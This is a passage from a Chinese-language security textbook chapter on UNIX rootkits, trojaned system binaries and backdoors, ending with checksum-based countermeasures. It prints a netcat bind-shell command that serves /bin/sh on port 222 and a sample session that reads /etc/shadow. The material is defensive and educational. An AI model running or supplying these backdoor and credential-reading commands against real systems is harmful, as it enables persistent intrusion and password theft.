攻擊者一旦完成令人興奮不已的獲取root訪問權的任務,他們真正的工作旋即開始。他們希望通過以下手段來發掘目標系統的漏洞:虹吸所有能提供資訊的文件,載入嗅探程式以捕獲login、telnet、ftp、smtp和sump保密字,最終以該目標系統為跳板攻擊下一個系統。所有這些技巧差不多要求預先上載一個定制的root工具箱(rootkit)。
7.5.1 root工具箱
攻擊者最初危害的系統從現在起成了將來所有攻擊的集中訪問點,因此攻擊者上載並隱藏一個自己的root工具箱很重要。UNIX上的root工具箱一般由特定於平臺類型和版本的四組工具組成:(1)特洛伊木馬,例如修改過的login、netstat和ps程式;(2)後門,例如inetd配置表項的插入;(3)介面嗅探程式;(4)系統登記結果清理程式。
7.5.2 特洛伊木馬
攻擊者獲取root訪問權後,他們就能對目標系統上任意命令進行“特洛伊木馬化”。這就是檢查所有二進位文件的大小和日期/時間戳之所以至關緊要的原因,不過需特別檢查的是常用的程式,例如login,su,telnet,ftp,Passwd,netstat,ifconfig,ls,ps,ssh,find,du,df,sync,reboot,halt,shutdown,等等。
舉例來説,許多root工具箱中共同的一個特洛伊木馬是個篡改了的login版本。該程式會像正常的login命令那樣讓用戶登錄;然而它還登記輸入的用戶名和保密字到一個文件九另有一個篡改過的ssh版本也執行同樣的功能。
另一種特洛伊木馬形式是創建一個返回到攻擊者本地系統的後門,其手段是運作一個TCP監聽器,接到連接請求後鏟回一個UNIX shell。舉例來説,ls命令可以篡改成檢查是否已存在一個運作中的特洛伊木馬,如果尚不存在,那就啟動一個經篡改的netcat版本,當攻擊者向它連接時,它將返送一個/bin/sh會話。例如下面的命令將在後臺運作netcat,讓它在222號TCP端口上監聽連接請求,當被連接時鏟回/bin/sh:
[root@funstuff/root]#nohup nc -l -p 222 -nvv -e /bin/sh &
listening on [any]222...
攻擊者接著向該目標系統的222號TCP端口連接時將看到如下內容,他們能夠完成root能做的任何事:
[root@cx809595-b ch7]# nc -nvv 24.8.128.204 222
(UNKNOWN)[24.8.128.204]222(?)open
cat/etc/shadow
root:ar90alrR10r41:10783:0:99999:7:-1:-1:134530596
bin:*:10639:0:99999:7:::
daemon:*:10639:0:99999:7:::
adm:*:10639:0:99999:7:::
潛在特洛伊木馬編程技巧的數量只受攻擊者的想像力制約(這個數量趨於膨脹)。第13章將揭示其他一些這樣的技巧。
警惕地監視和清點所有監聽中端口可以防止這類攻擊,不過最好的對策是一開始就防止二進位文件被修改。
特洛伊木馬攻擊對策
沒有合適的工具的話,特洛伊木馬有許多難以檢測。它們往往具有與原來的程式一樣的文件大小,文件訪問 時間也能改成相同的值,因此依賴於標準的辨識技巧是不夠的。可取的方法是使用加密意義上的校驗和生成 程式對每個二進位文件執行獨特的簽名,並把所得的結果以某種安全的方式存放起來(例如離線存放在保險箱中的軟碟)。Tripwire和MD5之類程式是最流行的檢驗和生成工具,允許給所有程式記錄一個唯一的簽名,從而能夠明確地判定攻擊者何時改動了某個二進位文件。當然,一旦你的系統受到侵害,那就別指望使用備份磁帶來恢復系統,因為它們也很可能已被感染。要正確地從某次攻擊中恢復出來的話,必須從原始媒體中重構出自己的系統。